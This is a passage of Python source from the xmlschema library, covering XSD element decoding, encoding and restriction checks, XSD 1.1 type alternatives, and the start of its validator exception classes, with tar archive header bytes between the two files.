context.validation_hook(obj, self) if _validation: if isinstance(_validation, str) and _validation in XSD_VALIDATION_MODES: context = _copy(context) validation = _validation else: return Empty context.elem = obj for identity in self.identities: if identity in context.identities: context.identities[identity].reset(obj) else: context.identities[identity] = identity.get_counter(obj) if not context.level: # Need to set converter context with the right object (the resource can be lazy) context.converter.set_context(obj, context.level) elif context.use_location_hints: # Use location hints for dynamic schema load self.check_dynamic_context(obj, validation, context) converter = context.converter inherited = context.inherited value = content = None nilled = False # Get the instance effective type xsd_type = self.get_type(obj, inherited) if XSI_TYPE in obj.attrib and self.schema.meta_schema is not None: # Meta-schema elements ignore xsi:type (issue #350) type_name = obj.attrib[XSI_TYPE].strip() namespaces = converter.namespaces try: xsd_type = self.maps.get_instance_type(type_name, xsd_type, namespaces) except (KeyError, TypeError) as err: context.validation_error(validation, self, err, obj) else: if xsd_type.is_blocked(self): reason = _("usage of %r is blocked") % xsd_type context.validation_error(validation, self, reason, obj) elif xsd_type not in self.xsi_types: self.xsi_types.add(xsd_type) # For complex contents augments permanently the XSD elements # that collect keys/keyrefs for enabled identities. if xsd_type.has_complex_content(): xpath_element = XPathElement(self.name, xsd_type) for counter in context.identities.values(): if counter.enabled: try: counter.identity.update_elements(xpath_element) except TypeError as e: context.validation_error(validation, self, e, obj) if xsd_type.abstract: reason = _("%r is abstract") % xsd_type context.validation_error(validation, self, reason, obj) id_list = context.id_list if xsd_type.is_complex() and self.xsd_version == '1.1': # Track XSD 1.1 multiple xs:ID attributes/children context.id_list = [] content_decoder = xsd_type if isinstance(xsd_type, XsdSimpleType) else xsd_type.content # Decode attributes attribute_group = self.get_attributes(xsd_type) context.level += 1 attributes = attribute_group.raw_decode(obj.attrib, validation, context) context.level -= 1 if self.inheritable and any(name in self.inheritable for name in obj.attrib): if inherited: inherited = inherited.copy() inherited.update((k, v) for k, v in obj.attrib.items() if k in self.inheritable) else: inherited = {k: v for k, v in obj.attrib.items() if k in self.inheritable} context = _copy(context) context.inherited = inherited # Checks the xsi:nil attribute of the instance if XSI_NIL in obj.attrib: xsi_nil = obj.attrib[XSI_NIL].strip() if not self.nillable: reason = _("element is not nillable") context.validation_error(validation, self, reason, obj) elif xsi_nil not in ('0', '1', 'false', 'true'): reason = _("xsi:nil attribute must have a boolean value") context.validation_error(validation, self, reason, obj) elif xsi_nil in ('0', 'false'): pass elif self.fixed is not None: reason = _("xsi:nil='true' but the element has a fixed value") context.validation_error(validation, self, reason, obj) elif obj.text is not None or len(obj): reason = _("xsi:nil='true' but the element is not empty") context.validation_error(validation, self, reason, obj) else: nilled = True if xsd_type.is_empty() and obj.text and xsd_type.normalize(obj.text): reason = _("character data is not allowed because content is empty") context.validation_error(validation, self, reason, obj) if nilled: pass elif not isinstance(content_decoder, XsdSimpleType): if not isinstance(xsd_type, XsdSimpleType): for assertion in xsd_type.assertions: assertion(obj, validation, context) context.level += 1 content = content_decoder.raw_decode(obj, validation, context) context.level -= 1 if content and len(content) == 1 and content[0][0] == 1: value, content = content[0][1], None if self.fixed is not None and \ (len(obj) > 0 or value is not None and self.fixed != value): reason = _("must have the fixed value %r") % self.fixed context.validation_error(validation, self, reason, obj) else: if len(obj): reason = _("a simple content element can't have child elements") context.validation_error(validation, self, reason, obj) text = obj.text if self.fixed is not None: if not text: text = self.fixed elif text == self.fixed: pass elif not strictly_equal(xsd_type.text_decode(text, context=context), xsd_type.text_decode(self.fixed)): reason = _("must have the fixed value %r") % self.fixed context.validation_error(validation, self, reason, obj) elif not text and self.default is not None and context.use_defaults: text = self.default if not isinstance(xsd_type, XsdSimpleType): for assertion in xsd_type.assertions: assertion(obj, validation, context, value=text) if text and content_decoder.is_list(): value = text.split() else: value = text elif xsd_type.is_notation(): if xsd_type.name == XSD_NOTATION_TYPE: msg = _("cannot validate against xs:NOTATION directly, " "only against a subtype with an enumeration facet") context.validation_error(validation, self, msg, text) elif not xsd_type.enumeration: msg = _("missing enumeration facet in xs:NOTATION subtype") context.validation_error(validation, self, msg, text) result = content_decoder.raw_decode(text or '', validation, context) if result is None and context.filler is not None: value = context.filler(self) elif text or context.keep_empty: value = result if context.value_hook is not None: value = context.value_hook(value, xsd_type) elif isinstance(value, context.keep_datatypes) or value is None: pass elif isinstance(value, str): if value[:1] == '{' and xsd_type.is_qname(): value = text elif isinstance(value, Decimal): if context.decimal_type is not None: value = context.decimal_type(value) elif isinstance(value, (AbstractDateTime, Duration)): value = str(value) if text is None else text.strip() else: value = str(value) context.id_list = id_list xmlns = converter.set_context(obj, context.level) # Purge existing sub-contexts if isinstance(converter, XMLSchemaConverter): element_data = ElementData(obj.tag, value, content, attributes, xmlns) if context.element_hook is not None: element_data = context.element_hook(element_data, self, xsd_type) try: result = converter.element_decode(element_data, self, xsd_type, context.level) except (ValueError, TypeError) as err: context.validation_error(validation, self, err, obj) result = None elif not context.level: result = ElementData(obj.tag, value, None, attributes, None) else: result = None if content is not None: del content if self.selected_by: self.collect_key_fields(obj, xsd_type, validation, nilled, context) # Apply non XSD optional validations if context.extra_validator is not None: try: errors = context.extra_validator(obj, self) except XMLSchemaValidationError as err: context.validation_error(validation, self, err, obj) else: if isinstance(errors, GeneratorType): for error in errors: context.validation_error(validation, self, error, obj) # Disable collect for out of scope identities and check key references if context.max_depth is None: for identity in self.identities: counter = context.identities[identity] counter.enabled = False if isinstance(identity, XsdKeyref): assert isinstance(counter, KeyrefCounter) for error in counter.iter_errors(context.identities): context.validation_error(validation, self, error, obj) elif context.level: for identity in self.identities: context.identities[identity].enabled = False return result def collect_key_fields(self, obj: ElementType, xsd_type: BaseXsdType, validation: str, nilled: bool, context: DecodeContext) -> None: element_node: Union[EtreeElementNode, LazyElementNode] element_node = cast(EtreeElementNode, context.source.get_xpath_node(obj)) namespaces = context.namespaces xsd_element = self if self.ref is None else self.ref if xsd_element.type is not xsd_type: xsd_element = _copy(xsd_element) xsd_element._set_type(xsd_type) # Collect field values for identities that refer to this XSD element. for identity in self.selected_by: try: counter = context.identities[identity] except KeyError: continue else: if not counter.enabled: continue if counter.elements is None: # Apply selector on Element ancestor for obtain the selected elements root_node = context.source.get_xpath_node(counter.elem) xpath_context = XPathContext(root_node) assert identity.selector is not None counter.elements = { x for x in identity.selector.token.select_results(xpath_context) } if obj not in counter.elements: continue if xsd_element in identity.elements: selectors = identity.elements[xsd_element] else: # noinspection PyTypeChecker selectors = [FieldValueSelector(f, xsd_element) for f in identity.fields] try: fields = tuple(s.get_value(element_node, namespaces) for s in selectors) except (XMLSchemaValueError, XMLSchemaTypeError) as err: context.validation_error(validation, self, err, obj) else: if any(x is not None for x in fields) or nilled: try: counter.increase(fields) except ValueError as err: context.validation_error(validation, self, err, obj) def to_objects(self, obj: ElementType, with_bindings: bool = False, **kwargs: Any) \ -> DecodeType['dataobjects.DataElement']: """ Decodes XML data to Python data objects. :param obj: the XML data source. :param with_bindings: if `True` is provided the decoding is done using \ :class:`DataBindingConverter` that used XML data binding classes. For \ default the objects are instances of :class:`DataElement` and uses the \ :class:`DataElementConverter`. :param kwargs: other optional keyword arguments for the method \ :func:`iter_decode`, except the argument *converter*. """ if with_bindings: return self.decode(obj, converter=dataobjects.DataBindingConverter, **kwargs) return self.decode(obj, converter=dataobjects.DataElementConverter, **kwargs) def raw_encode(self, obj: Any, validation: str, context: EncodeContext) \ -> Optional[ElementType]: """ Encode data to an Element. :param obj: the data that has to be encoded. :param validation: the validation mode. Can be 'lax', 'strict' or 'skip'. :param context: the encoding context. :return: returns an Element. """ errors: list[Union[str, Exception]] = [] try: element_data = context.converter.element_encode(obj, self, context.level) except (ValueError, TypeError) as err: context.validation_error(validation, self, err, obj) return None if context.max_depth is not None and context.max_depth == 0 and not context.level: return None if self.abstract: if self.name == element_data.tag and context.converter.losslessly: reason = _("can't use an abstract element in an instance") context.validation_error(validation, self, reason, obj) elif self.name not in self.maps.substitution_groups: reason = _("can't use an abstract XSD element for validation " "unless it's the head of a substitution group") context.validation_error(validation, self, reason, obj) else: for xsd_element in self.iter_substitutes(): if element_data.tag == xsd_element.name: return xsd_element.raw_encode(obj, validation, context) else: # In some cases the original tag could be missed, so try each # substitute before generate an error. for xsd_element in self.iter_substitutes(): return xsd_element.raw_encode(obj, validation, context) else: reason = _("can't use an abstract XSD element for validation") context.validation_error(validation, self, reason, obj) elem = context.create_element(element_data.tag) xsd_type = self.get_type(element_data) if XSI_TYPE in element_data.attributes and self.schema.meta_schema is not None: type_name = element_data.attributes[XSI_TYPE].strip() try: xsd_type = self.maps.get_instance_type( type_name, xsd_type, context.converter ) except (KeyError, TypeError) as err: errors.append(err) else: default_namespace = context.converter.get('') if default_namespace and not isinstance(xsd_type, XsdSimpleType): # Adjust attributes mapped into default namespace ns_part = f'{{{default_namespace}}}' for k in list(element_data.attributes): if not k.startswith(ns_part): continue elif k in xsd_type.attributes: continue local_name = k[len(ns_part):] if local_name in xsd_type.attributes: element_data.attributes[local_name] = element_data.attributes[k] del element_data.attributes[k] attribute_group = self.get_attributes(xsd_type) context.level += 1 try: attributes = attribute_group.raw_encode( element_data.attributes, validation, context ) except XMLSchemaValidationError as err: errors.append(err) elem.attrib.update( raw_encode_attributes(element_data.attributes) ) else: if attributes: elem.attrib.update(attributes) finally: context.level -= 1 if XSI_NIL in element_data.attributes: xsi_nil = element_data.attributes[XSI_NIL].strip() if not self.nillable: errors.append("element is not nillable.") elif xsi_nil not in ('0', '1', 'true', 'false'): errors.append("xsi:nil attribute must has a boolean value.") elif xsi_nil in ('0', 'false'): pass elif self.fixed is not None: errors.append("xsi:nil='true' but the element has a fixed value.") elif element_data.text not in (None, '') or element_data.content: errors.append("xsi:nil='true' but the element is not empty.") else: for e in errors: context.validation_error(validation, self, e, elem) return elem if isinstance(xsd_type, XsdSimpleType): if element_data.content: errors.append("a simpleType element can't has child elements.") if element_data.text is not None: try: elem.text = xsd_type.raw_encode(element_data.text, validation, context) except XMLSchemaValidationError as err: if err.elem is not None: raise errors.append(err) elif self.fixed is not None: elem.text = self.fixed elif self.default is not None and context.use_defaults: elem.text = self.default elif isinstance(xsd_type.content, XsdSimpleType): if xsd_type.content.max_length == 0: pass elif element_data.text is not None: try: elem.text = xsd_type.content.raw_encode( element_data.text, validation, context ) except XMLSchemaValidationError as err: if err.elem is not None: raise errors.append(err) elif self.fixed is not None: elem.text = self.fixed elif self.default is not None and context.use_defaults: elem.text = self.default else: context.level += 1 try: xsd_type.content.raw_encode(element_data, validation, context) except XMLSchemaValidationError as err: errors.append(err) finally: context.level -= 1 if errors: for e in errors: context.validation_error(validation, self, e, elem) del element_data return elem def is_matching(self, name: Optional[str], default_namespace: Optional[str] = None, group: Optional['XsdGroup'] = None, **kwargs: Any) -> bool: if not name: return False elif default_namespace and name[0] != '{': name = f'{{{default_namespace}}}{name}' # Workaround for backward compatibility of XPath selectors on schemas. if not self.qualified and default_namespace == self.target_namespace: return (name == self.qualified_name or any(name == e.qualified_name for e in self.iter_substitutes())) return name == self.name or any(name == e.name for e in self.iter_substitutes()) def match(self, name: Optional[str], default_namespace: Optional[str] = None, **kwargs: Any) -> Optional['XsdElement']: if not name: return None elif default_namespace and name[0] != '{': name = f'{{{default_namespace}}}{name}' if name == self.name: return self else: for xsd_element in self.iter_substitutes(): if name == xsd_element.name: return xsd_element return None def match_child(self, name: str) -> Optional['XsdElement']: xsd_group = self.type.model_group if xsd_group is None: # fallback to xs:anyType encoder for matching extra content xsd_group = self.any_type.model_group assert xsd_group is not None for xsd_child in xsd_group.iter_elements(): matched_element = xsd_child.match(name, resolve=True) if isinstance(matched_element, XsdElement): return matched_element else: if name in self.maps.elements and xsd_group.open_content_mode != 'none': return self.maps.elements[name] return None def is_restriction(self, other: ModelParticleType, check_occurs: bool = True) -> bool: e: ModelParticleType if isinstance(other, XsdAnyElement): if self.min_occurs == self.max_occurs == 0: return True if check_occurs and not self.has_occurs_restriction(other): return False return other.is_matching(self.name, self.default_namespace) elif isinstance(other, XsdElement): if self.name != other.name: if other.name == self.substitution_group and \ other.min_occurs != other.max_occurs and \ self.max_occurs != 0 and not other.abstract \ and self.xsd_version == '1.0': # A UPA violation case. Base is the head element, it's not # abstract and has non-deterministic occurs: this is less # restrictive than W3C test group (elemZ026), marked as # invalid despite it's based on an abstract declaration. # See also test case invalid_restrictions1.xsd. return False for e in other.iter_substitutes(): if e.name == self.name: break else: return False if check_occurs and not self.has_occurs_restriction(other): return False elif self.max_occurs == 0 and check_occurs: return True # type is not effective if the element can't have occurrences elif not self.is_consistent(other) and self.type.elem is not other.type.elem and \ not self.type.is_derived(other.type, 'restriction') and not other.type.abstract: return False elif other.fixed is not None and \ (self.fixed is None or self.type.normalize( self.fixed) != other.type.normalize(other.fixed)): return False elif other.nillable is False and self.nillable: return False elif any(value not in self.block for value in other.block.split()): return False elif not all(k in other.identities for k in self.identities): return False else: return True elif other.model == 'choice': if other.is_empty() and self.max_occurs != 0: return False check_group_items_occurs = self.xsd_version == '1.0' total_occurs = OccursCalculator() for e in other.iter_model(): if not isinstance(e, (XsdElement, XsdAnyElement)): return False elif not self.is_restriction(e, check_group_items_occurs): continue total_occurs += e total_occurs *= other if self.has_occurs_restriction(total_occurs): return True total_occurs.reset() return False else: match_restriction = False for e in other.iter_model(): if match_restriction: if not e.is_emptiable(): return False elif self.is_restriction(e): match_restriction = True elif not e.is_emptiable(): return False return True def is_overlap(self, other: SchemaElementType) -> bool: if isinstance(other, XsdElement): if self.name == other.name: return True elif other.substitution_group == self.name or other.name == self.substitution_group: return True elif isinstance(other, XsdAnyElement): if other.is_matching(self.name, self.default_namespace): return True for e in self.maps.substitution_groups.get(self.name, ()): if other.is_matching(e.name, self.default_namespace): return True return False def is_consistent(self, other: SchemaElementType, strict: bool = True) -> bool: """ Element Declarations Consistent check between two element particles. Ref: https://www.w3.org/TR/xmlschema-1/#cos-element-consistent :returns: `True` if there is no inconsistency between the particles, `False` otherwise, """ return self.name != other.name or self.type is other.type def is_single(self) -> bool: if self.parent is None: return True elif self.max_occurs != 1: return False elif self.parent.max_occurs == 1: return True else: return self.parent.model != 'choice' and len(self.parent) > 1 def is_substitute(self, other: ModelParticleType) -> bool: return not self.abstract and isinstance(other, XsdElement) \ and self.substitution_group == other.name class Xsd11Element(XsdElement): """ Class for XSD 1.1 *element* declarations. .. <element abstract = boolean : false block = (#all | List of (extension | restriction | substitution)) default = string final = (#all | List of (extension | restriction)) fixed = string form = (qualified | unqualified) id = ID maxOccurs = (nonNegativeInteger | unbounded) : 1 minOccurs = nonNegativeInteger : 1 name = NCName nillable = boolean : false ref = QName substitutionGroup = List of QName targetNamespace = anyURI type = QName {any attributes with non-schema namespace . . .}> Content: (annotation?, ((simpleType | complexType)?, alternative*, (unique | key | keyref)*)) </element> """ def _parse(self) -> None: if not hasattr(self.parent, '_group'): self._built = True elif not self._built: return self.min_occurs = self.max_occurs = 1 self.selected_by = set() self.xsi_types = set() self._parse_particle(self.elem) self._parse_attributes() if self.ref is None: self._parse_type() self._parse_alternatives() self._parse_constraints() if self.parent is None and 'substitutionGroup' in self.elem.attrib: for substitution_group in self.elem.attrib['substitutionGroup'].split(): self._parse_substitution_group(substitution_group) self._parse_target_namespace() if any(v.inheritable for v in self.attributes.values()): self.inheritable = {} for k, v in self.attributes.items(): if k is not None and isinstance(v, XsdAttribute): if v.inheritable: self.inheritable[k] = v def _parse_alternatives(self) -> None: alternatives = [] has_test = True for child in self.elem: if child.tag == XSD_ALTERNATIVE: alternatives.append(XsdAlternative(child, self.schema, self)) if not has_test: msg = _("test attribute missing in non-final alternative") self.parse_error(msg) has_test = 'test' in child.attrib if alternatives: self.alternatives = alternatives def iter_components(self, xsd_classes: ComponentClassType = None) -> Iterator[XsdComponent]: if xsd_classes is None: yield self yield from self.identities else: if isinstance(self, xsd_classes): yield self if issubclass(XsdIdentity, xsd_classes): yield from self.identities for alt in self.alternatives: yield from alt.iter_components(xsd_classes) if self.ref is None and self.type.parent is not None: yield from self.type.iter_components(xsd_classes) def iter_substitutes(self) -> Iterator[XsdElement]: if self.parent is None or self.ref is not None: if substitutes := self.maps.substitution_groups.get(self.name): for xsd_element in substitutes: yield xsd_element yield from xsd_element.iter_substitutes() def get_type(self, elem: Union[ElementType, ElementData], inherited: Optional[dict[str, Any]] = None) -> BaseXsdType: if not self.alternatives: return self.type if isinstance(elem, ElementData): if elem.attributes: attrib = raw_encode_attributes(elem.attributes) elem = Element(elem.tag, attrib=attrib) else: elem = Element(elem.tag) if inherited: dummy = Element('_dummy_element', attrib=inherited) dummy.attrib.update(elem.attrib) for alt in self.alternatives: if alt.type is not None: if alt.token is None or alt.test(elem) or alt.test(dummy): return alt.type else: for alt in self.alternatives: if alt.type is not None: if alt.token is None or alt.test(elem): return alt.type return self.type def is_overlap(self, other: SchemaElementType) -> bool: if isinstance(other, XsdElement): if self.name == other.name: return True elif any(self.name == x.name for x in other.iter_substitutes()): return True for e in self.iter_substitutes(): if other.name == e.name or any(x is e for x in other.iter_substitutes()): return True elif isinstance(other, XsdAnyElement): if other.is_matching(self.name, self.default_namespace): return True for e in self.maps.substitution_groups.get(self.name, ()): if other.is_matching(e.name, self.default_namespace): return True return False def is_consistent(self, other: SchemaElementType, strict: bool = True) -> bool: if isinstance(other, XsdAnyElement): if other.process_contents == 'skip': return True xsd_element = other.match(self.name, self.default_namespace, resolve=True) return xsd_element is None or self.is_consistent(xsd_element, strict=False) e1: XsdElement = self e2 = other if self.name != other.name: for e1 in self.iter_substitutes(): if e1.name == other.name: break else: for e2 in other.iter_substitutes(): if e2.name == self.name: break else: return True if len(e1.alternatives) != len(e2.alternatives): return False elif e1.type is not e2.type and strict: return False elif e1.type is not e2.type or \ not all(any(a == x for x in e2.alternatives) for a in e1.alternatives) or \ not all(any(a == x for x in e1.alternatives) for a in e2.alternatives): msg = _("Maybe a not equivalent type table between elements {0!r} and {1!r}") warnings.warn(msg.format(e1, e2), XMLSchemaTypeTableWarning, stacklevel=3) return True def check_dynamic_context(self, elem: ElementType, validation: str, context: DecodeContext) -> None: for ns, url in etree_iter_location_hints(elem): if self.maps.get_schema(ns, url, context.source.base_url) is not None: continue try: with self.maps.protect_status(): if ns in self.maps.namespaces: schema = self.maps.namespaces[ns][0] schema.include_schema(url, context.source.base_url) else: schema = self.schema schema.import_schema(ns, url, context.source.base_url) schema.clear() schema.build() except (XMLSchemaValidationError, ParseError) as err: context.validation_error(validation, self, err, elem) except XMLSchemaParseError as err: context.validation_error(validation, self, err.message, elem) except OSError: continue else: def stop_validation(e: ElementType, _xsd_element: XsdElement) -> bool: if e is elem: raise XMLSchemaStopValidation() return False errors = list(schema.iter_errors(context.source, validation_hook=stop_validation)) if len(context.errors) != len(errors) or \ any(e1.elem is not e2.elem for e1, e2 in zip(context.errors, errors)): reason = _(f"adding schema at {url} change the " f"assessment outcome of previous items") context.validation_error(validation, self, reason, elem) class XsdAlternative(XsdComponent): """ XSD 1.1 type *alternative* definitions. .. <alternative id = ID test = an XPath expression type = QName xpathDefaultNamespace = (anyURI | (##defaultNamespace | ##targetNamespace | ##local)) {any attributes with non-schema namespace . . .}> Content: (annotation?, (simpleType | complexType)?) </alternative> """ parent: XsdElement type: BaseXsdType path: Optional[str] token: Optional[XPathToken] _ADMITTED_TAGS = XSD_ALTERNATIVE, __slots__ = ('xpath_default_namespace', 'path', 'token', 'type') def __repr__(self) -> str: return '%s(type=%r, test=%r)' % ( self.__class__.__name__, self.elem.get('type'), self.elem.get('test') ) def __eq__(self, other: object) -> bool: return isinstance(other, XsdAlternative) and \ self.path == other.path and self.type is other.type and \ self.xpath_default_namespace == other.xpath_default_namespace def __ne__(self, other: object) -> bool: return not isinstance(other, XsdAlternative) or \ self.path != other.path or self.type is not other.type or \ self.xpath_default_namespace != other.xpath_default_namespace def _parse(self) -> None: attrib = self.elem.attrib if 'xpathDefaultNamespace' in attrib: self.xpath_default_namespace = self._parse_xpath_default_namespace(self.elem) else: self.xpath_default_namespace = self.schema.xpath_default_namespace parser = XPath2Parser( namespaces=self.schema.namespaces, strict=False, default_namespace=self.xpath_default_namespace ) try: self.path = attrib['test'] except KeyError: # an absent test is not an error, it should be the default type self.path = self.token = None else: try: self.token = parser.parse(self.path) except ElementPathError as err: self.parse_error(err) self.token = parser.parse('false()') self.path = 'false()' try: type_qname = self.schema.resolve_qname(attrib['type']) except (KeyError, ValueError, RuntimeError) as err: if 'type' in attrib: self.parse_error(err) self.type = self.any_type elif (child := self._parse_child_component(self.elem, strict=False)) is None: self.parse_error(_("missing 'type' attribute")) self.type = self.any_type else: try: self.type = self.builders.local_types[child.tag]( child, self.schema, self ) except KeyError: self.parse_error(_("missing 'type' attribute")) self.type = self.any_type else: if not self.type.is_derived(self.parent.type): msg = _("declared type is not derived from {!r}") self.parse_error(msg.format(self.parent.type)) else: try: self.type = self.maps.types[type_qname] except KeyError: self.parse_error(_("unknown type {!r}").format(attrib['type'])) self.type = self.any_type else: if self.type.name != XSD_ERROR and not self.type.is_derived(self.parent.type): msg = _("type {0!r} is not derived from {1!r}") self.parse_error(msg.format(attrib['type'], self.parent.type)) child = self._parse_child_component(self.elem, strict=False) if child is not None and child.tag in (XSD_COMPLEX_TYPE, XSD_SIMPLE_TYPE): msg = _("the attribute 'type' and the xs:%s local " "declaration are mutually exclusive") self.parse_error(msg % child.tag.split('}')[-1]) @property def validation_attempted(self) -> str: if self._built: return 'full' elif not hasattr(self, 'type'): return 'none' else: return self.type.validation_attempted def iter_components(self, xsd_classes: ComponentClassType = None) -> Iterator[XsdComponent]: if xsd_classes is None or isinstance(self, xsd_classes): yield self if self.type is not None and self.type.parent is not None: yield from self.type.iter_components(xsd_classes) def test(self, elem: ElementType) -> bool: if self.token is None: return False try: result = list(self.token.select(context=XPathContext(elem))) return self.token.boolean_value(result) except (TypeError, ValueError): return False ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/exceptions.py��������������������������������������������������0000664�0000000�0000000�00000046606�15020401055�0022365�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import textwrap from collections.abc import Callable, Iterable from pprint import PrettyPrinter from typing import TYPE_CHECKING, Any, cast, Optional, Union from elementpath.etree import etree_tostring from xmlschema.exceptions import XMLSchemaException, XMLSchemaWarning, XMLSchemaValueError from xmlschema.aliases import ElementType, NsmapType, SchemaType, SchemaElementType, \ ModelParticleType from xmlschema.translation import gettext as _ from xmlschema.resources import XMLResource from xmlschema.utils.etree import etree_getpath, is_etree_element from xmlschema.utils.qnames import get_prefixed_qname, local_name if TYPE_CHECKING: from .xsdbase import XsdValidator from .wildcards import XsdAnyElement # noqa: F401 from .groups import XsdGroup ValidatorType = Union['XsdValidator', Callable[[Any], None]] class XMLSchemaValidatorError(XMLSchemaException): """ Base class for XSD validator errors. :param validator: the XSD validator. :param message: the error message. :param elem: the element that contains the error. :param source: the XML resource or the decoded data that contains the error. :param namespaces: is an optional mapping from namespace prefix to URI. """ _path: Optional[str] = None _sourceline: Optional[int] = None # Optional dump of the execution stack that can be set in collected # validator errors for debugging purposes. stack_trace: Optional[str] = None def __init__(self, validator: ValidatorType, message: str, elem: Optional[ElementType] = None, source: Optional[Any] = None, namespaces: Optional[NsmapType] = None) -> None: self.validator = validator self._message = message self.namespaces = namespaces self.source = source self.elem = elem @property def message(self) -> str: return self._message def __str__(self) -> str: chunks: list[str] = ['%s:\n' % self.message.rstrip('.:')] if self.elem is not None: elem_as_string = etree_tostring(self.elem, self.namespaces, ' ', 20) if isinstance(elem_as_string, bytes): elem_as_string = elem_as_string.decode('utf-8') chunks.append("Schema component:\n\n%s\n" % elem_as_string) path = self.path if path is not None: chunks.append("Path: %s\n" % path) if self.schema_url is not None: chunks.append("Schema URL: %s\n" % self.schema_url) if self.origin_url not in (None, self.schema_url): chunks.append("Origin URL: %s\n" % self.origin_url) return '\n'.join(chunks) if len(chunks) > 1 else chunks[0][:-2] @property def msg(self) -> str: return self.__str__() def __setattr__(self, name: str, value: Any) -> None: if name == 'elem' and value is not None: if not is_etree_element(value): raise XMLSchemaValueError( "'elem' attribute requires an Element, not %r." % type(value) ) self._sourceline = getattr(value, 'sourceline', self._sourceline) if isinstance(self.source, XMLResource): if self.source.is_lazy(): # Don't save the element of a lazy resource but save the path # and sourceline (if it's a lxml Element) self._path = etree_getpath( elem=value, root=self.source.root, namespaces=self.namespaces, relative=False, add_position=True ) value = None super().__setattr__(name, value) @property def sourceline(self) -> Optional[int]: """XML element *sourceline* if available (lxml Element).""" return getattr(self.elem, 'sourceline', self._sourceline) @property def root(self) -> Optional[ElementType]: """The XML resource root element if *source* is set.""" if isinstance(self.source, XMLResource): return self.source.root else: return None @property def schema_url(self) -> Optional[str]: """The schema URL, if available and the *validator* is an XSD component.""" url: Optional[str] try: url = self.validator.schema.source.url # type: ignore[union-attr] except AttributeError: return getattr(self.validator, 'url', None) # it's the schema else: return url @property def origin_url(self) -> Optional[str]: """The origin schema URL, if available and the *validator* is an XSD component.""" url: Optional[str] try: url = self.validator.maps.validator.source.url # type: ignore[union-attr] except AttributeError: return None else: return url @property def path(self) -> Optional[str]: """The XPath of the element, if it's not `None` and the XML resource is set.""" if self._path is None: if self.elem is not None \ and isinstance(self.source, XMLResource) \ and not self.source.is_lazy(): self._path = etree_getpath( elem=self.elem, root=self.source.root, namespaces=self.namespaces, relative=False, add_position=True ) return self._path def get_elem_as_string(self, indent: str = '', max_lines: Optional[int] = None) -> str: """Returns a string representation of elem attribute.""" kwargs = { 'elem': self.elem, 'namespaces': self.namespaces, 'indent': indent, 'max_lines': max_lines } try: return cast(str, etree_tostring(**kwargs)) # type: ignore[arg-type] except (ValueError, TypeError): return indent + repr(self.elem) class XMLSchemaCircularityError(XMLSchemaValidatorError): """ Raised when a circularity is found building a global component. """ def __init__(self, name: str, elem: ElementType, schema: SchemaType) -> None: msg = _("Circular definition detected for xs:{} {!r}.") super().__init__( validator=schema, message=msg.format(local_name(elem.tag), name), elem=elem, source=schema.source, namespaces=schema.namespaces ) class XMLSchemaNotBuiltError(XMLSchemaValidatorError, RuntimeError): """ Raised when there is an improper usage attempt of a not built XSD validator. :param validator: the XSD validator. :param message: the error message. :param namespaces: is an optional mapping from namespace prefix to URI. """ def __init__(self, validator: 'XsdValidator', message: str, namespaces: Optional[NsmapType] = None) -> None: if namespaces is None: namespaces = getattr(validator, 'namespaces', None) super().__init__( validator=validator, message=message, elem=getattr(validator, 'elem', None), source=getattr(validator, 'source', None), namespaces=namespaces ) class XMLSchemaParseError(XMLSchemaValidatorError, SyntaxError): # type: ignore[misc] """ Raised when an error is found during the building of an XSD validator. :param validator: the XSD validator. :param message: the error message. :param elem: the element that contains the error. :param namespaces: is an optional mapping from namespace prefix to URI. """ def __init__(self, validator: 'XsdValidator', message: str, elem: Optional[ElementType] = None, namespaces: Optional[NsmapType] = None) -> None: if namespaces is None: namespaces = getattr(validator, 'namespaces', None) super().__init__( validator=validator, message=message, elem=elem if elem is not None else getattr(validator, 'elem', None), source=getattr(validator, 'source', None), namespaces=namespaces ) class XMLSchemaModelError(XMLSchemaValidatorError, ValueError): """ Raised when a model error is found during the checking of a model group. :param group: the XSD model group. :param message: the error message. """ def __init__(self, group: 'XsdGroup', message: str) -> None: super().__init__( validator=group, message=message, elem=getattr(group, 'elem', None), source=getattr(group, 'source', None), namespaces=getattr(group, 'namespaces', None) ) class XMLSchemaModelDepthError(XMLSchemaModelError): """Raised when recursion depth is exceeded while iterating a model group.""" @property def message(self) -> str: return f"{self._message} {self.validator!r}." def __init__(self, group: 'XsdGroup') -> None: msg = "maximum model recursion depth exceeded while iterating" super().__init__(group, message=msg) class XMLSchemaValidationError(XMLSchemaValidatorError, ValueError): """ Raised when the XML data is not validated with the XSD component or schema. It's used by decoding and encoding methods. Encoding validation errors do not include XML data element and source, so the error is limited to a message containing object representation and a reason. :param validator: the XSD validator. :param obj: the not validated XML data. :param reason: the detailed reason of failed validation. :param source: the XML resource that contains the error. :param namespaces: is an optional mapping from namespace prefix to URI. """ _message = 'failed validating {} with' @property def message(self) -> str: return f'{self._message} {self.validator!r}.' # For compatibility with XMLSchemaChildrenValidationError invalid_tag: Optional[str] = None @property def expected_tags(self) -> list[str]: return [] @property def invalid_child(self) -> Optional[ElementType]: return None def __init__(self, validator: ValidatorType, obj: Any, reason: Optional[str] = None, source: Optional[Any] = None, namespaces: Optional[NsmapType] = None) -> None: if isinstance(obj, str): obj_repr = repr(obj.encode('ascii', 'xmlcharrefreplace').decode('utf-8')) else: obj_repr = repr(obj) if len(obj_repr) > 200: obj_repr = f"{type(obj)} instance" super().__init__( validator=validator, message=_(self._message).format(obj_repr), elem=obj if is_etree_element(obj) else None, source=source, namespaces=namespaces, ) self.obj = obj self.reason = reason def __repr__(self) -> str: return '%s(reason=%r)' % (self.__class__.__name__, self.reason) def __str__(self) -> str: chunks: list[str] = ['%s:\n' % self.message.rstrip('.:')] if self.reason is not None: chunks.append('Reason: %s\n' % self.reason) if hasattr(self.validator, 'tostring'): component_as_string = self.validator.tostring(' ', 20) chunks.append("Schema component:\n\n%s\n" % component_as_string) if is_etree_element(self.elem): chunks.append(f"Instance type: {type(self.elem)}\n") instance_as_string = self.get_elem_as_string(indent=' ', max_lines=20) else: chunks.append(f"Instance type: {type(self.obj)}\n") instance_as_string = self.get_obj_as_string(indent=' 